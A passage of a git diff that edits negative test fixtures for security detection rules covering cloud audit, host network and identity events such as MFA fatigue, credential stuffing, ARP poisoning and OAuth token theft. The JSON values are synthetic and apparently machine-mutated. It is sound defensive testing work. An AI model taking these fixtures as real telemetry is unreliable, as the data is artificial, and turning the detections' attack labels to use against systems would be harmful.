"event_type": "not-dns_response",+ "event_type": "http_request","qtype": "TXT","response_size_bytes": 350.0,"src_role": "__benign__"diff --git a/detections/fixtures/negative/gcp-bq-cmek-removed.json b/detections/fixtures/negative/gcp-bq-cmek-removed.jsonindex 3c9572479..c6a7d1221 100644--- a/detections/fixtures/negative/gcp-bq-cmek-removed.json+++ b/detections/fixtures/negative/gcp-bq-cmek-removed.json@@ -1,4 +1,4 @@{"kms_key_removed": true,- "method_name": "not-datasetservice.update"+ "method_name": "head-SetIamPolicy"}diff --git a/detections/fixtures/negative/gcp-bq-cross-project-query.json b/detections/fixtures/negative/gcp-bq-cross-project-query.jsonindex 91b50324d..4ade8da2f 100644--- a/detections/fixtures/negative/gcp-bq-cross-project-query.json+++ b/detections/fixtures/negative/gcp-bq-cross-project-query.json@@ -1,4 +1,4 @@{- "method_name": "not-jobservice.jobcompleted",+ "method_name": "head-SetIamPolicy","referenced_project_external": true}diff --git a/detections/fixtures/negative/gcp-bq-dataset-allusers-access.json b/detections/fixtures/negative/gcp-bq-dataset-allusers-access.jsonindex 340c12e86..63c18701b 100644--- a/detections/fixtures/negative/gcp-bq-dataset-allusers-access.json+++ b/detections/fixtures/negative/gcp-bq-dataset-allusers-access.json@@ -1,4 +1,4 @@{"added_member": "allUsers",- "method_name": "not-datasetservice.update"+ "method_name": "head-SetIamPolicy"}diff --git a/detections/fixtures/negative/gcp-bq-table-deleted-recently-created.json b/detections/fixtures/negative/gcp-bq-table-deleted-recently-created.jsonindex 2ef111b8f..fe15b38fb 100644--- a/detections/fixtures/negative/gcp-bq-table-deleted-recently-created.json+++ b/detections/fixtures/negative/gcp-bq-table-deleted-recently-created.json@@ -1,4 +1,4 @@{- "method_name": "not-tableservice.delete",+ "method_name": "head-SetIamPolicy","table_age_minutes": -40.0}diff --git a/detections/fixtures/negative/gcp-gcs-mass-delete.json b/detections/fixtures/negative/gcp-gcs-mass-delete.jsonindex 4ceaae63f..44533f2c4 100644--- a/detections/fixtures/negative/gcp-gcs-mass-delete.json+++ b/detections/fixtures/negative/gcp-gcs-mass-delete.json@@ -1,4 +1,4 @@{"events_per_minute": 1100.0,- "method_name": "not-storage.objects.delete"+ "method_name": "head-SetIamPolicy"}diff --git a/detections/fixtures/negative/host-arp-poison-detected.json b/detections/fixtures/negative/host-arp-poison-detected.jsonindex f693c4ebb..107ffda5c 100644--- a/detections/fixtures/negative/host-arp-poison-detected.json+++ b/detections/fixtures/negative/host-arp-poison-detected.json@@ -1,4 +1,4 @@{"duplicate_macs_for_gateway": true,- "event_type": "not-arp_anomaly"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/host-firewall-disabled-managed.json b/detections/fixtures/negative/host-firewall-disabled-managed.jsonindex 886c95000..754cf416a 100644--- a/detections/fixtures/negative/host-firewall-disabled-managed.json+++ b/detections/fixtures/negative/host-firewall-disabled-managed.json@@ -1,4 +1,4 @@{- "event_type": "not-firewall_state_change",+ "event_type": "http_request","state": "disabled"}diff --git a/detections/fixtures/negative/host-llmnr-replies-spoofed.json b/detections/fixtures/negative/host-llmnr-replies-spoofed.jsonindex b56b936fc..9b92f471e 100644--- a/detections/fixtures/negative/host-llmnr-replies-spoofed.json+++ b/detections/fixtures/negative/host-llmnr-replies-spoofed.json@@ -1,4 +1,4 @@{- "event_type": "not-llmnr",+ "event_type": "http_request","self_response_for_external_query": true}diff --git a/detections/fixtures/negative/host-mdns-suspicious-tld.json b/detections/fixtures/negative/host-mdns-suspicious-tld.jsonindex 993253563..92a5785ee 100644--- a/detections/fixtures/negative/host-mdns-suspicious-tld.json+++ b/detections/fixtures/negative/host-mdns-suspicious-tld.json@@ -1,4 +1,4 @@{- "event_type": "not-mdns_query",+ "event_type": "http_request","query": "head-.com"}diff --git a/detections/fixtures/negative/host-promiscuous-interface.json b/detections/fixtures/negative/host-promiscuous-interface.jsonindex ff3e034d7..a52c880df 100644--- a/detections/fixtures/negative/host-promiscuous-interface.json+++ b/detections/fixtures/negative/host-promiscuous-interface.json@@ -1,4 +1,4 @@{- "event_type": "not-interface_state",+ "event_type": "http_request","promiscuous": true}diff --git a/detections/fixtures/negative/host-rdp-mitm-cert-mismatch.json b/detections/fixtures/negative/host-rdp-mitm-cert-mismatch.jsonindex 7ffbc1c0a..817f47cf6 100644--- a/detections/fixtures/negative/host-rdp-mitm-cert-mismatch.json+++ b/detections/fixtures/negative/host-rdp-mitm-cert-mismatch.json@@ -1,3 +1,3 @@{- "event_type": "not-rdp_cert_mismatch"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/host-rogue-dhcp-host.json b/detections/fixtures/negative/host-rogue-dhcp-host.jsonindex 00131b1b5..817f47cf6 100644--- a/detections/fixtures/negative/host-rogue-dhcp-host.json+++ b/detections/fixtures/negative/host-rogue-dhcp-host.json@@ -1,3 +1,3 @@{- "event_type": "not-dhcp_offer_outbound"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/host-sccm-client-untrusted.json b/detections/fixtures/negative/host-sccm-client-untrusted.jsonindex 82be2f9fe..daadcea0c 100644--- a/detections/fixtures/negative/host-sccm-client-untrusted.json+++ b/detections/fixtures/negative/host-sccm-client-untrusted.json@@ -1,5 +1,5 @@{"agent": "sccm",- "event_type": "not-agent_install",+ "event_type": "http_request","source_signed_by_known_publisher": false}diff --git a/detections/fixtures/negative/host-upnp-from-server.json b/detections/fixtures/negative/host-upnp-from-server.jsonindex 771969f13..cbe3d854a 100644--- a/detections/fixtures/negative/host-upnp-from-server.json+++ b/detections/fixtures/negative/host-upnp-from-server.json@@ -1,4 +1,4 @@{- "event_type": "not-ssdp_egress",+ "event_type": "http_request","source_subnet_role": "server"}diff --git a/detections/fixtures/negative/host-wpad-probe.json b/detections/fixtures/negative/host-wpad-probe.jsonindex ea34ff745..2046773c8 100644--- a/detections/fixtures/negative/host-wpad-probe.json+++ b/detections/fixtures/negative/host-wpad-probe.json@@ -1,5 +1,5 @@{- "event_type": "not-dns_query",+ "event_type": "http_request","external_resolver": true,"query": "wpad.local"}diff --git a/detections/fixtures/negative/ident-account-locked-many-times.json b/detections/fixtures/negative/ident-account-locked-many-times.jsonindex af27d4abc..d0f92ccb8 100644--- a/detections/fixtures/negative/ident-account-locked-many-times.json+++ b/detections/fixtures/negative/ident-account-locked-many-times.json@@ -1,4 +1,4 @@{- "event_type": "not-account_locked",+ "event_type": "http_request","lockouts_per_hour": 103.0}diff --git a/detections/fixtures/negative/ident-anon-vpn-login-priv-user.json b/detections/fixtures/negative/ident-anon-vpn-login-priv-user.jsonindex 440a1c2f7..6384deef3 100644--- a/detections/fixtures/negative/ident-anon-vpn-login-priv-user.json+++ b/detections/fixtures/negative/ident-anon-vpn-login-priv-user.json@@ -1,5 +1,5 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","src_ip_anonymous_vpn": true,"user_priv": true}diff --git a/detections/fixtures/negative/ident-app-impersonation-priv.json b/detections/fixtures/negative/ident-app-impersonation-priv.jsonindex 6243bcdb7..0edf13b3d 100644--- a/detections/fixtures/negative/ident-app-impersonation-priv.json+++ b/detections/fixtures/negative/ident-app-impersonation-priv.json@@ -1,5 +1,5 @@{"act_as_user_priv": true,- "event_type": "not-oauth_action",+ "event_type": "http_request","scope": "prefix-full_access-suffix"}diff --git a/detections/fixtures/negative/ident-atlassian-api-token-created.json b/detections/fixtures/negative/ident-atlassian-api-token-created.jsonindex f752a2c05..20f103b76 100644--- a/detections/fixtures/negative/ident-atlassian-api-token-created.json+++ b/detections/fixtures/negative/ident-atlassian-api-token-created.json@@ -1,3 +1,3 @@{- "action": "not-api_token_created"+ "action": "disabled"}diff --git a/detections/fixtures/negative/ident-auth0-action-deployed.json b/detections/fixtures/negative/ident-auth0-action-deployed.jsonindex f39121eb9..b9202eb3e 100644--- a/detections/fixtures/negative/ident-auth0-action-deployed.json+++ b/detections/fixtures/negative/ident-auth0-action-deployed.json@@ -1,4 +1,4 @@{- "event_type": "not-Successful API Operation",+ "event_type": "http_request","operation": "actions.deploy"}diff --git a/detections/fixtures/negative/ident-auth0-anomaly-detection-disabled.json b/detections/fixtures/negative/ident-auth0-anomaly-detection-disabled.jsonindex a83d69f72..f31ca7f12 100644--- a/detections/fixtures/negative/ident-auth0-anomaly-detection-disabled.json+++ b/detections/fixtures/negative/ident-auth0-anomaly-detection-disabled.json@@ -1,4 +1,4 @@{- "event_type": "not-Successful API Operation",+ "event_type": "http_request","operation": "anomaly.disable"}diff --git a/detections/fixtures/negative/ident-auth0-connection-deleted.json b/detections/fixtures/negative/ident-auth0-connection-deleted.jsonindex d1ab2a6dd..62d47733f 100644--- a/detections/fixtures/negative/ident-auth0-connection-deleted.json+++ b/detections/fixtures/negative/ident-auth0-connection-deleted.json@@ -1,4 +1,4 @@{- "event_type": "not-Successful API Operation",+ "event_type": "http_request","operation": "connections.delete"}diff --git a/detections/fixtures/negative/ident-auth0-management-api-key-created.json b/detections/fixtures/negative/ident-auth0-management-api-key-created.jsonindex 2698eb379..c195eb82d 100644--- a/detections/fixtures/negative/ident-auth0-management-api-key-created.json+++ b/detections/fixtures/negative/ident-auth0-management-api-key-created.json@@ -1,5 +1,5 @@{- "event_type": "not-Successful API Operation",+ "event_type": "http_request","operation": "client_grants.create","scope": "prefix-manage-suffix"}diff --git a/detections/fixtures/negative/ident-auth0-rule-added.json b/detections/fixtures/negative/ident-auth0-rule-added.jsonindex 934b89b26..2a4cd7856 100644--- a/detections/fixtures/negative/ident-auth0-rule-added.json+++ b/detections/fixtures/negative/ident-auth0-rule-added.json@@ -1,4 +1,4 @@{- "event_type": "not-Successful API Operation",+ "event_type": "http_request","operation": "rules.create"}diff --git a/detections/fixtures/negative/ident-bruteforce-success-after-failures.json b/detections/fixtures/negative/ident-bruteforce-success-after-failures.jsonindex f9858adbe..d138365bf 100644--- a/detections/fixtures/negative/ident-bruteforce-success-after-failures.json+++ b/detections/fixtures/negative/ident-bruteforce-success-after-failures.json@@ -1,4 +1,4 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","user_failures_last_15m": 150.0}diff --git a/detections/fixtures/negative/ident-credstuffing-known-breached-list.json b/detections/fixtures/negative/ident-credstuffing-known-breached-list.jsonindex ed7158b1a..04abcd4a7 100644--- a/detections/fixtures/negative/ident-credstuffing-known-breached-list.json+++ b/detections/fixtures/negative/ident-credstuffing-known-breached-list.json@@ -1,5 +1,5 @@{- "event_type": "not-auth_failure",+ "event_type": "http_request","tries_per_minute": 150.0,"user_agent_in_known_botnet_list": true}diff --git a/detections/fixtures/negative/ident-deleted-user-auth-success.json b/detections/fixtures/negative/ident-deleted-user-auth-success.jsonindex 4b4f95cc4..f147bd706 100644--- a/detections/fixtures/negative/ident-deleted-user-auth-success.json+++ b/detections/fixtures/negative/ident-deleted-user-auth-success.json@@ -1,4 +1,4 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","user_state": "deleted"}diff --git a/detections/fixtures/negative/ident-disabled-user-auth-attempt.json b/detections/fixtures/negative/ident-disabled-user-auth-attempt.jsonindex 834548ff6..303b29ec4 100644--- a/detections/fixtures/negative/ident-disabled-user-auth-attempt.json+++ b/detections/fixtures/negative/ident-disabled-user-auth-attempt.json@@ -1,4 +1,4 @@{- "event_type": "not-auth_failure",+ "event_type": "http_request","result": "user_disabled"}diff --git a/detections/fixtures/negative/ident-duo-application-bypass-policy.json b/detections/fixtures/negative/ident-duo-application-bypass-policy.jsonindex 5dacccc9e..58d34ce11 100644--- a/detections/fixtures/negative/ident-duo-application-bypass-policy.json+++ b/detections/fixtures/negative/ident-duo-application-bypass-policy.json@@ -1,4 +1,4 @@{- "event_type": "not-integration_update",+ "event_type": "http_request","policy_assigned": "bypass"}diff --git a/detections/fixtures/negative/ident-duo-bypass-code-generated.json b/detections/fixtures/negative/ident-duo-bypass-code-generated.jsonindex 468dfb0d5..817f47cf6 100644--- a/detections/fixtures/negative/ident-duo-bypass-code-generated.json+++ b/detections/fixtures/negative/ident-duo-bypass-code-generated.json@@ -1,3 +1,3 @@{- "event_type": "not-user_create_bypass_code"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-duo-fraud-reported.json b/detections/fixtures/negative/ident-duo-fraud-reported.jsonindex 525d5be77..d86724e18 100644--- a/detections/fixtures/negative/ident-duo-fraud-reported.json+++ b/detections/fixtures/negative/ident-duo-fraud-reported.json@@ -1,4 +1,4 @@{- "event_type": "not-auth",+ "event_type": "http_request","result": "fraud"}diff --git a/detections/fixtures/negative/ident-duo-policy-changed-mfa-removed.json b/detections/fixtures/negative/ident-duo-policy-changed-mfa-removed.jsonindex ea50f15f8..9dc12f558 100644--- a/detections/fixtures/negative/ident-duo-policy-changed-mfa-removed.json+++ b/detections/fixtures/negative/ident-duo-policy-changed-mfa-removed.json@@ -1,4 +1,4 @@{"auth_required": false,- "event_type": "not-policy_update"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-empty-useragent-login.json b/detections/fixtures/negative/ident-empty-useragent-login.jsonindex abe7698f9..e4ce515ad 100644--- a/detections/fixtures/negative/ident-empty-useragent-login.json+++ b/detections/fixtures/negative/ident-empty-useragent-login.json@@ -1,4 +1,4 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","user_agent": ""}diff --git a/detections/fixtures/negative/ident-fido2-key-added-then-removed-old.json b/detections/fixtures/negative/ident-fido2-key-added-then-removed-old.jsonindex d5d6d6eeb..19e8f10b1 100644--- a/detections/fixtures/negative/ident-fido2-key-added-then-removed-old.json+++ b/detections/fixtures/negative/ident-fido2-key-added-then-removed-old.json@@ -1,5 +1,5 @@{- "event_type": "not-factor_swap",+ "event_type": "http_request","old_factor_age_days": 130.0,"session_seconds": 500.0}diff --git a/detections/fixtures/negative/ident-fido2-key-removed-priv.json b/detections/fixtures/negative/ident-fido2-key-removed-priv.jsonindex 582130f0e..7fa51cb64 100644--- a/detections/fixtures/negative/ident-fido2-key-removed-priv.json+++ b/detections/fixtures/negative/ident-fido2-key-removed-priv.json@@ -1,5 +1,5 @@{- "event_type": "not-factor_remove",+ "event_type": "http_request","factor_type": "fido2","user_priv": true}diff --git a/detections/fixtures/negative/ident-github-deploy-key-added-org-wide.json b/detections/fixtures/negative/ident-github-deploy-key-added-org-wide.jsonindex 17a4ff065..367546d8e 100644--- a/detections/fixtures/negative/ident-github-deploy-key-added-org-wide.json+++ b/detections/fixtures/negative/ident-github-deploy-key-added-org-wide.json@@ -1,4 +1,4 @@{- "action": "not-deploy_key.add",+ "action": "disabled","distinct_repos_per_actor_per_hour": 110.0}diff --git a/detections/fixtures/negative/ident-github-org-2fa-disabled.json b/detections/fixtures/negative/ident-github-org-2fa-disabled.jsonindex 314511bf7..20f103b76 100644--- a/detections/fixtures/negative/ident-github-org-2fa-disabled.json+++ b/detections/fixtures/negative/ident-github-org-2fa-disabled.json@@ -1,3 +1,3 @@{- "action": "not-org.disable_two_factor_requirement"+ "action": "disabled"}diff --git a/detections/fixtures/negative/ident-github-org-collaborator-removed-bulk.json b/detections/fixtures/negative/ident-github-org-collaborator-removed-bulk.jsonindex 1af62b299..04027664f 100644--- a/detections/fixtures/negative/ident-github-org-collaborator-removed-bulk.json+++ b/detections/fixtures/negative/ident-github-org-collaborator-removed-bulk.json@@ -1,4 +1,4 @@{- "action": "not-org.remove_member",+ "action": "disabled","events_per_minute": 120.0}diff --git a/detections/fixtures/negative/ident-github-pat-classic-created-with-broad-scopes.json b/detections/fixtures/negative/ident-github-pat-classic-created-with-broad-scopes.jsonindex 4c4860ddd..ac1608f47 100644--- a/detections/fixtures/negative/ident-github-pat-classic-created-with-broad-scopes.json+++ b/detections/fixtures/negative/ident-github-pat-classic-created-with-broad-scopes.json@@ -1,4 +1,4 @@{- "action": "not-personal_access_token.create",+ "action": "disabled","scopes": "repo workflow admin:org"}diff --git a/detections/fixtures/negative/ident-google-workspace-3p-app-data-grant.json b/detections/fixtures/negative/ident-google-workspace-3p-app-data-grant.jsonindex af88257a0..383707fa5 100644--- a/detections/fixtures/negative/ident-google-workspace-3p-app-data-grant.json+++ b/detections/fixtures/negative/ident-google-workspace-3p-app-data-grant.json@@ -1,4 +1,4 @@{- "event_name": "not-AUTHORIZE",+ "event_name": "AttachUserPolicy","scope": "prefix-https://www.googleapis.com/auth/drive-suffix"}diff --git a/detections/fixtures/negative/ident-google-workspace-app-pw-issued.json b/detections/fixtures/negative/ident-google-workspace-app-pw-issued.jsonindex 5d3c0b498..539fad4ba 100644--- a/detections/fixtures/negative/ident-google-workspace-app-pw-issued.json+++ b/detections/fixtures/negative/ident-google-workspace-app-pw-issued.json@@ -1,4 +1,4 @@{- "event_name": "not-GENERATE_APP_PASSWORD",+ "event_name": "AttachUserPolicy","user_priv": true}diff --git a/detections/fixtures/negative/ident-google-workspace-mfa-disabled-priv.json b/detections/fixtures/negative/ident-google-workspace-mfa-disabled-priv.jsonindex bb5b6d325..c32531b32 100644--- a/detections/fixtures/negative/ident-google-workspace-mfa-disabled-priv.json+++ b/detections/fixtures/negative/ident-google-workspace-mfa-disabled-priv.json@@ -1,5 +1,5 @@{- "event_name": "not-ENFORCE_STRONG_AUTHENTICATION",+ "event_name": "AttachUserPolicy","user_priv": true,"value": false}diff --git a/detections/fixtures/negative/ident-google-workspace-suspicious-login-flag.json b/detections/fixtures/negative/ident-google-workspace-suspicious-login-flag.jsonindex 1fe8ee37b..30e1170e0 100644--- a/detections/fixtures/negative/ident-google-workspace-suspicious-login-flag.json+++ b/detections/fixtures/negative/ident-google-workspace-suspicious-login-flag.json@@ -1,4 +1,4 @@{- "event_name": "not-login_failure",+ "event_name": "AttachUserPolicy","type": "suspicious_login"}diff --git a/detections/fixtures/negative/ident-impossible-travel-15m.json b/detections/fixtures/negative/ident-impossible-travel-15m.jsonindex 65d5c8f8c..247abde92 100644--- a/detections/fixtures/negative/ident-impossible-travel-15m.json+++ b/detections/fixtures/negative/ident-impossible-travel-15m.json@@ -1,5 +1,5 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","geo_distance_km": 1100.0,"minutes_between": -85.0}diff --git a/detections/fixtures/negative/ident-jamf-mdm-policy-mfa-removed.json b/detections/fixtures/negative/ident-jamf-mdm-policy-mfa-removed.jsonindex 6b5cffbd4..20f103b76 100644--- a/detections/fixtures/negative/ident-jamf-mdm-policy-mfa-removed.json+++ b/detections/fixtures/negative/ident-jamf-mdm-policy-mfa-removed.json@@ -1,3 +1,3 @@{- "action": "not-compliance_policy_disabled"+ "action": "disabled"}diff --git a/detections/fixtures/negative/ident-keycloak-admin-realm-role-grant.json b/detections/fixtures/negative/ident-keycloak-admin-realm-role-grant.jsonindex 25acc2772..a235e2388 100644--- a/detections/fixtures/negative/ident-keycloak-admin-realm-role-grant.json+++ b/detections/fixtures/negative/ident-keycloak-admin-realm-role-grant.json@@ -1,4 +1,4 @@{- "event_type": "not-ROLE_ASSIGN",+ "event_type": "http_request","role": "realm-admin"}diff --git a/detections/fixtures/negative/ident-keycloak-client-secret-regen.json b/detections/fixtures/negative/ident-keycloak-client-secret-regen.jsonindex 7d63cc226..b10e60422 100644--- a/detections/fixtures/negative/ident-keycloak-client-secret-regen.json+++ b/detections/fixtures/negative/ident-keycloak-client-secret-regen.json@@ -1,4 +1,4 @@{- "event_type": "not-CLIENT_UPDATE",+ "event_type": "http_request","secret_changed": true}diff --git a/detections/fixtures/negative/ident-keycloak-impersonation-used.json b/detections/fixtures/negative/ident-keycloak-impersonation-used.jsonindex c20827698..817f47cf6 100644--- a/detections/fixtures/negative/ident-keycloak-impersonation-used.json+++ b/detections/fixtures/negative/ident-keycloak-impersonation-used.json@@ -1,3 +1,3 @@{- "event_type": "not-IMPERSONATE"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-keycloak-master-realm-user-created.json b/detections/fixtures/negative/ident-keycloak-master-realm-user-created.jsonindex afb68864f..f56447f23 100644--- a/detections/fixtures/negative/ident-keycloak-master-realm-user-created.json+++ b/detections/fixtures/negative/ident-keycloak-master-realm-user-created.json@@ -1,4 +1,4 @@{- "event_type": "not-USER_CREATE",+ "event_type": "http_request","realm": "master"}diff --git a/detections/fixtures/negative/ident-login-from-known-asn-ddos.json b/detections/fixtures/negative/ident-login-from-known-asn-ddos.jsonindex cfae4c8ec..7c2a51234 100644--- a/detections/fixtures/negative/ident-login-from-known-asn-ddos.json+++ b/detections/fixtures/negative/ident-login-from-known-asn-ddos.json@@ -1,4 +1,4 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","src_asn_recent_credstuffing": true}diff --git a/detections/fixtures/negative/ident-m365-app-consent-graph-mail.json b/detections/fixtures/negative/ident-m365-app-consent-graph-mail.jsonindex 6ff3f9dc8..8e367099a 100644--- a/detections/fixtures/negative/ident-m365-app-consent-graph-mail.json+++ b/detections/fixtures/negative/ident-m365-app-consent-graph-mail.json@@ -1,4 +1,4 @@{- "operation": "not-Consent to application",+ "operation": "rules.create","permissions": "prefix-Mail.Read-suffix"}diff --git a/detections/fixtures/negative/ident-m365-mailbox-permission-add-foreign.json b/detections/fixtures/negative/ident-m365-mailbox-permission-add-foreign.jsonindex dc1a39aac..8af38990d 100644--- a/detections/fixtures/negative/ident-m365-mailbox-permission-add-foreign.json+++ b/detections/fixtures/negative/ident-m365-mailbox-permission-add-foreign.json@@ -1,4 +1,4 @@{- "operation": "not-Add-MailboxPermission",+ "operation": "rules.create","trustee_external": true}diff --git a/detections/fixtures/negative/ident-m365-mailbox-rule-forward-external.json b/detections/fixtures/negative/ident-m365-mailbox-rule-forward-external.jsonindex a7562c88b..ddd246570 100644--- a/detections/fixtures/negative/ident-m365-mailbox-rule-forward-external.json+++ b/detections/fixtures/negative/ident-m365-mailbox-rule-forward-external.json@@ -1,4 +1,4 @@{"forward_external": true,- "operation": "not-New-InboxRule"+ "operation": "rules.create"}diff --git a/detections/fixtures/negative/ident-m365-sharing-policy-anyone.json b/detections/fixtures/negative/ident-m365-sharing-policy-anyone.jsonindex 854e90bae..6232a78ef 100644--- a/detections/fixtures/negative/ident-m365-sharing-policy-anyone.json+++ b/detections/fixtures/negative/ident-m365-sharing-policy-anyone.json@@ -1,4 +1,4 @@{- "operation": "not-TenantSettingsModified",+ "operation": "rules.create","sharing_capability": "ExternalUserAndGuestSharing"}diff --git a/detections/fixtures/negative/ident-m365-tap-removed-priv.json b/detections/fixtures/negative/ident-m365-tap-removed-priv.jsonindex f393dbfeb..244445531 100644--- a/detections/fixtures/negative/ident-m365-tap-removed-priv.json+++ b/detections/fixtures/negative/ident-m365-tap-removed-priv.json@@ -1,4 +1,4 @@{- "operation": "not-Add temporary access pass",+ "operation": "rules.create","target_user_priv": true}diff --git a/detections/fixtures/negative/ident-mfa-bypassed-via-emergency-code.json b/detections/fixtures/negative/ident-mfa-bypassed-via-emergency-code.jsonindex ff61463fa..da310ad78 100644--- a/detections/fixtures/negative/ident-mfa-bypassed-via-emergency-code.json+++ b/detections/fixtures/negative/ident-mfa-bypassed-via-emergency-code.json@@ -1,4 +1,4 @@{- "event_type": "not-auth_success",+ "event_type": "http_request","mfa_factor": "backup_code"}diff --git a/detections/fixtures/negative/ident-mfa-deny-then-success.json b/detections/fixtures/negative/ident-mfa-deny-then-success.jsonindex 68b87263e..f57ee310c 100644--- a/detections/fixtures/negative/ident-mfa-deny-then-success.json+++ b/detections/fixtures/negative/ident-mfa-deny-then-success.json@@ -1,6 +1,6 @@{"current_state": "approve",- "event_type": "not-mfa_state_change",+ "event_type": "http_request","previous_state": "deny","seconds_between": -40.0}diff --git a/detections/fixtures/negative/ident-mfa-fatigue-burst.json b/detections/fixtures/negative/ident-mfa-fatigue-burst.jsonindex 9c8a3bdd8..d17db1c30 100644--- a/detections/fixtures/negative/ident-mfa-fatigue-burst.json+++ b/detections/fixtures/negative/ident-mfa-fatigue-burst.json@@ -1,4 +1,4 @@{- "event_type": "not-mfa_challenge",+ "event_type": "http_request","user_challenges_per_minute": 105.0}diff --git a/detections/fixtures/negative/ident-new-country-priv-user.json b/detections/fixtures/negative/ident-new-country-priv-user.jsonindex b607bef2a..f9c6f4017 100644--- a/detections/fixtures/negative/ident-new-country-priv-user.json+++ b/detections/fixtures/negative/ident-new-country-priv-user.json@@ -1,5 +1,5 @@{"country_first_seen_for_user": true,- "event_type": "not-auth_success",+ "event_type": "http_request","user_priv": true}diff --git a/detections/fixtures/negative/ident-oauth-refresh-token-replay.json b/detections/fixtures/negative/ident-oauth-refresh-token-replay.jsonindex 057b2ba4d..e824be6e3 100644--- a/detections/fixtures/negative/ident-oauth-refresh-token-replay.json+++ b/detections/fixtures/negative/ident-oauth-refresh-token-replay.json@@ -1,5 +1,5 @@{- "event_type": "not-token_refresh",+ "event_type": "http_request","geo_distance_km": 600.0,"src_ip_changed": true}diff --git a/detections/fixtures/negative/ident-oauth-token-theft-impossible-time.json b/detections/fixtures/negative/ident-oauth-token-theft-impossible-time.jsonindex e6f9c1094..88668e98c 100644--- a/detections/fixtures/negative/ident-oauth-token-theft-impossible-time.json+++ b/detections/fixtures/negative/ident-oauth-token-theft-impossible-time.json@@ -1,5 +1,5 @@{- "event_type": "not-token_use",+ "event_type": "http_request","ip_changed": true,"seconds_after_issue": -99.0}diff --git a/detections/fixtures/negative/ident-oidc-issuer-trust-changed.json b/detections/fixtures/negative/ident-oidc-issuer-trust-changed.jsonindex f07156577..e2bac77f0 100644--- a/detections/fixtures/negative/ident-oidc-issuer-trust-changed.json+++ b/detections/fixtures/negative/ident-oidc-issuer-trust-changed.json@@ -1,4 +1,4 @@{"discovery_url_changed": true,- "event_type": "not-issuer.update"+ "event_type": "http_request"}diff --git a/detections/fixtures/negative/ident-oidc-many-clients-from-single-actor.json b/detections/fixtures/negative/ident-oidc-many-clients-from-single-actor.jsonindex c48fa56c2..77e3c7dd8 100644--- a/detections/fixtures/negative/ident-oidc-many-clients-from-single-actor.json+++ b/detections/fixtures/negative/ident-oidc-many-clients-from-single-actor.json@@ -1,4 +1,4 @@{- "event_type": "not-client.create",+ "event_type": "http_request","events_per_minute_per_actor": 105.0}diff --git a/detections/fixtures/negative/ident-oidc-redirect-uri-wildcard.json b/detections/fixtures/negative/ident-oidc-redirect-uri-wildcard.jsonindex 4a4594148..f87750c7f 100644--- a/detections/fixtures/negative/ident-oidc-redirect-uri-wildcard.json+++ b/detections/fixtures/negative/ident-oidc-redirect-uri-wildcard.json@@ -1,4 +1,4 @@{- "event_type": "not-client.update",+ "event_type": "http_request","redirect_uri": "prefix-*-suffix"}diff --git a/detections/fixtures/negative/ident-oidc-secret-leaked-pattern.json b/detections/fixtures/negative/ident-oidc-secret-leaked-pattern.jsonindex f2ba0d9dd..c21d6eb51 100644--- a/detections/fixtures/negative/ident-oidc-secret-leaked-pattern.json+++ b/detections/fixtures/negative/ident-oidc-secret-leaked-pattern.json@@ -1,4 +1,4 @@{- "event_type": "not-log_emit",+ "event_type": "http_request","field_contains_oidc_secret": true}diff --git a/detections/fixtures/negative/ident-okta-admin-app-assigned-many-users.json b/detections/fixtures/negative/ident-okta-admin-app-assigned-many-users.jsonindex 1d9e6d07e..4157500f4 100644--- a/detections/fixtures/negative/ident-okta-admin-app-assigned-many-users.json+++ b/detections/fixtures/negative/ident-okta-admin-app-assigned-many-users.json@@ -1,4 +1,4 @@{- "event_type": "not-application.user_membership.add",+ "event_type": "http_request","events_per_minute": 125.0}diff --git a/detections/fixtures/negative/ident-okta-api-token-created-priv.json b/detections/fixtures/negative/ident-okta-api-token-created-priv.jsonindex 434b220d6..7e583ef1e 100644--- a/detections/fixtures/negative/ident-okta-api-token-created-priv.json+++ b/detections/fixtures/negative/ident-okta-api-token-created-priv.json@@ -1,4 +1,4 @@{- "event_type": "not-system.api_token.create",+ "event_type": "http_request","scope": "prefix-admin-suffix"}diff --git a/detections/fixtures/negative/ident-okta-app-assigned-foreign-domain.json b/detections/fixtures/negative/ident-okta-app-assigned-foreign-domain.jsonindex ce5b5a0ac..4f1f5eb74 100644--- a/detections/fixtures/negative/ident-okta-app-assigned-foreign-domain.json+++ b/detections/fixtures/negative/ident-okta-app-assigned-foreign-domain.json@@ -1,4 +1,4 @@{- "event_type": "not-application.federated.user.assign",+ "event_type": "http_request","external_domain": true}diff --git a/detections/fixtures/negative/ident-okta-app-secret-rotated-priv.json b/detections/fixtures/negative/ident-okta-app-secret-rotated-priv.jsonindex ce3f91d11..05ca937d8 100644--- a/detections/fixtures/negative/ident-okta-app-secret-rotated-priv.json+++ b/detections/fixtures/negative/ident-okta-app-secret-rotated-priv.json@@ -1,5 +1,5 @@{"actor_role_priv": false,- "event_type": "not-application.lifecycle.update",+ "event_type": "http_request","secret_rotated": true}diff --git a/detections/fixtures/negative/ident-okta-mass-deactivate-users.json b/detections/fixtures/negative/ident-okta-mass-deactivate-users.jsonindex 6700bb3a2..4157500f4 100644--- a/detections/fixtures/negative/ident-okta-mass-deactivate-users.json+++ b/detections/fixtures/negative/ident-okta-mass-deactivate-users.json@@ -1,4 +1,4 @@{- "event_type": "not-user.lifecycle.deactivate",+ "event_type": "http_request","events_per_minute": 125.0}diff --git a/detections/fixtures/negative/ident-okta-mfa-factor-reset-priv.json b/detections/fixtures/negative/ident-okta-mfa-factor-reset-priv.jsonindex 88e19354f..6bbab7be9 100644--- a/detections/fixtures/negative/ident-okta-mfa-factor-reset-priv.json+++ b/detections/fixtures/negative/ident-okta-mfa-factor-reset-priv.json@@ -1,4 +1,4 @@{- "event_type": "not-user.mfa.factor.reset_all",+ "event_type": "http_request","target_user_priv": true}diff --git a/detections/fixtures/negative/ident-okta-network-zone-modified-trusted.json b/detections/fixtures/negative/ident-okta-network-zone-modified-trusted.jsonindex 7051dc6f4..6f9fcc6d8 100644--- a/detections/fixtures/negative/ident-okta-network-zone-modified-trusted.json+++ 